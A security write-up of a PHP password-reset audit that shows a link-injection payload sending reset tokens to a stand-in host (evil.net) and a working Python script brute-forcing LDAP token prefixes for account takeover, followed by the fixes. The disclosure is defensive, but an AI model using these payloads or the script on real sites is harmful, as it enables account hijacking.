Two Unusual Injections Related to Password Reset Mails
During a recent source code audit of a PHP application, I identified two slightly unusual injection points. Both of them occurred in the password reset functionality, which in this case allowed a user to request a password reset token be sent to their private email address. In the following, I want to describe how I exploited these injection points. Along the way, we will also encounter two famous problems in elementary stochastics.
Plaintext Link Injection in Password Reset Email
The password reset script, which we will assume is called pwreset.php
from now on, behaves differently depending on the way it is called. If requested via the GET method without a token
parameter, it serves a form with a CAPTCHA that can be used to request a password reset token for a given username. The token is sent to the private email the respective user supplies in their account settings.
The email with the token consists of some explanatory text containing a link that may look as follows, with the token consisting of 64 random characters:
https://example.com/path/to/pwreset.php?&token=gZ6akp95...1tChGQ8
When this link is accessed, the GET parameter token
is extracted into a session variable and the user is served a form asking for a username and new password. If the username matches the one stored with the token, the new password is set for that account.
On the server, the link above is generated in the following way:
<?php
// ...
$host = $_SERVER['SERVER_NAME'];
$path = $_SERVER['REQUEST_URI'];
$query = '?&token=' . $token;
$link = $host . $path . $query;
// ...
?>
As is well-documented by now, the HTTP_HOST
variable and its cousin SERVER_NAME
can often be injected into via the HTTP Host
header. Whether this is possible depends on the specific server configuration and can be mitigated by instructing the particular web server to use a canonical server name.
In this particular case, the web server was configured correctly, so I turned my attention to REQUEST_URI
, which contains the part of the request immediately following the host, i.e., the path and the query string. Thus, when using the form for requesting a password reset without any tampering, the value would be /path/to/pwreset.php
.
I tried to inject various types of characters into both the path and query string: further slashes after the .php
, various brackets, spaces, newline and line feed characters, all of those both in clear and URL-encoded form. It quickly became apparent that the web server could not be tricked into executing pwreset.php
when supplied with a modified path, so injection was only possible in the query string. Since the email was equipped with an explicit Content-Type: text/plain
header, HTML injections were not possible, and neither was it possible to successfully inject a newline or space. So how can we use the injection to trick the user into sending us their password reset token?
We can actually abuse a feature present in many email clients: Potential URLs in plain-text mails, recognized for example by the https://
prefix, are automatically turned into clickable links. Our aim is to break the single link with the token up into two separate links, one starting with https://example.com/path/to/pwreset.php
and one ending in the token. By injecting into the query string, we want to add a valid host to the second link and then make it look like the correct link for the user to click onto.
I found that injecting an unencoded angle bracket <
suffices to break up a plain-text link in Thunderbird as well as the Gmail web interface and mobile app. Submitting the password reset request form and changing the request URL in transit to read
https://example.com/path/to/pwreset.php?<https://evil.net/log.php?foo=bar
would result in the reset email containing a line of the following kind:
https://example.com/path/to/pwreset.php?<https://evil.net/log.php?foo=bar?&token=gZ6akp95...1tChGQ8
This would render as the following two links in the mail clients, separated by ?<
:
https://example.com/path/to/pwreset.php
https://evil.net/log.php?foo=bar?&token=gZ6akp95...1tChGQ8
Clicking on the second link will exfiltrate the token to an attacker-controlled domain since any ?
after the first one in a URL will be treated as a literal question mark and thus viewed as part of the value for the foo
parameter by the victim’s browser. If the victim’s private email address is known, the unexpected delivery of a password reset mail can potentially be “explained away” by the attacker beforehand. All in all, this is a reasonably promising way to get access to a user’s account.
If there wasn’t a much more effective way to hijack the victim’s account.
LDAP Injection in Password Reset Token Filter
When I continued to read pwreset.php
, I noticed that the application stores the password reset token on an LDAP server. For the purpose of this article, it suffices to think of LDAP as a database system that stores entries consisting of lists of plain-text attribute-value pairs in a folder structure. It is then possible to execute search queries (called filters) that retrieve all entries satisfying a specified set of conditions on certain attributes. Assuming that every entry corresponds to a user and there is an attribute user
, the following LDAP filter would return all users whose username starts with john
:
(user=john*)
It is possible to combine conditions on multiple attributes with logical and
, or
and not
operators, represented by &
, |
and !
, respectively. Since the syntax for LDAP filters is based on the normal Polish notation, logical operators will precede their arguments. As an example, the following filter would return all user entries which are not marked inactive and belong to a user with username ending in doe
:
(&(!state=inactive)(user=*doe))
Due to the prefix notation for operators, coupled with the fact that every filter appearing after the first in a search query will be ignored by the LDAP server, LDAP filter injections are limited in their capabilities by the first two characters in the query. Even if we were able to inject an arbitrary username suffix instead of the fixed doe
into the query above, we would not be able to change the query type to a logical or, and thus we could only retrieve information on active users. Along the same line, we would not be able to inject further constraints into a simple query like the first one above. More information on the LDAP filter syntax, injection techniques and their limitations can be found in the Black Hat talk “LDAP Injection & Blind LDAP Injection”.
Coming back to the password reset form, we should look at how the pwreset.php
script operates when called with a token
GET parameter:
- Check whether
token
appears as the attributepwtoken
in a unique LDAP entry; if not, serve an error message. - Request username and new password from the user.
- Check whether the unique LDAP entry with password reset token matching
token
has this username; if so, change the password.
Both checks are carried out via the search filter (pwtoken=$token)
, where $token
is replaced with the value of the GET parameter token
. The query is clearly injectable, and the most promising attempt to exploit this is to use the wildcard character *
instead of a full-length token. However, since we are limited to a single constraint, we will not be able to guarantee a unique entry in the result set by injecting something like *)(user=thevictim)(
.
But actually exploiting this injection point is not much more difficult: We just have to guess unique password token prefixes. Exploitation was helped by the fact that the pwtoken
attribute was errouneously set to case-insensitive matches on the server-side, which means that the token alphabet is reduced to 36 characters. Armed with this knowledge, I set up a simple Python script that uses depth-first search to find all unique prefixes of password reset tokens in the database by using the error message shown in step 1 as an oracle:
import requests
import sys
ALPHABET = "abcdefghijklmnopqrstuvwxyz0123456789"
MAX_LENGTH = # TBD
def is_unique_prefix(prefix):
return('Error' not in requests.get('https://example.com/path/to/pwreset.php?token=' + prefix + '*').text)
def dfs(prefix, visited):
if len(prefix) >= MAX_LENGTH:
return
if prefix not in visited:
visited.append(prefix)
for c in ALPHABET:
sys.stdout.write(prefix + c)
sys.stdout.flush()
if is_unique_prefix(prefix + c):
sys.stdout.write(' !!!!!!!!!!!\n')
else:
sys.stdout.write('\n')
dfs(prefix + c, visited)
dfs('', [])
The script assumes that all possible prefixes of length one appear in the database, and then appends all possible other characters until it either finds a unique prefix or reaches a certain maximal length MAX_LENGTH
. A stopping criterion is necessary since it may happen that a certain prefix of length one simply does not appear in the database (the expected value of reset tokens necessary for this to not happen is subject of the so-called coupon collector’s problem). The other way round, MAX_LENGTH
should not be chosen too low if one is interested in determining all valid password prefixes. This is simply because with a large number of active password resets, collisions in the first MAX_LENGTH
characters of the reset could be reasonably likely. This again has some mathematics behind it, which you can read up on under the name birthday problem.
But if the goal is to hijack a particular user’s account, this is not necessary, and the following procedure will succeed very likely:
- Run the script above with
MAX_LENGTH=2
and record all unique prefixes. - Request a password reset for the victim’s account.
- Run the script again with
MAX_LENGTH=2
and read off the one (or few, in case there are concurrent password resets) new prefixes. - Request
pwreset.php
withtoken
set to the prefix followed by a wildcard*
character to reset the user’s password.
Even in the unoptimized, sequential form above and running on a single machine, all of this could be carried out within 20 minutes, making this a very practical and dangerous attack.
Conclusion
Both vulnerabilities were easy to fix: For the injection via REQUEST_URI
, a new server variable was introduced in the web server config which only contains the valid path to the pwreset.php
, not the query string. The second injection could have easily been prevented by using PHP’s own ldap_escape
. The take-home lesson, unsurprisingly, is to always sanitize your inputs, even when injecting into “low-powered” contexts such as a plain-text email or a single LDAP filter.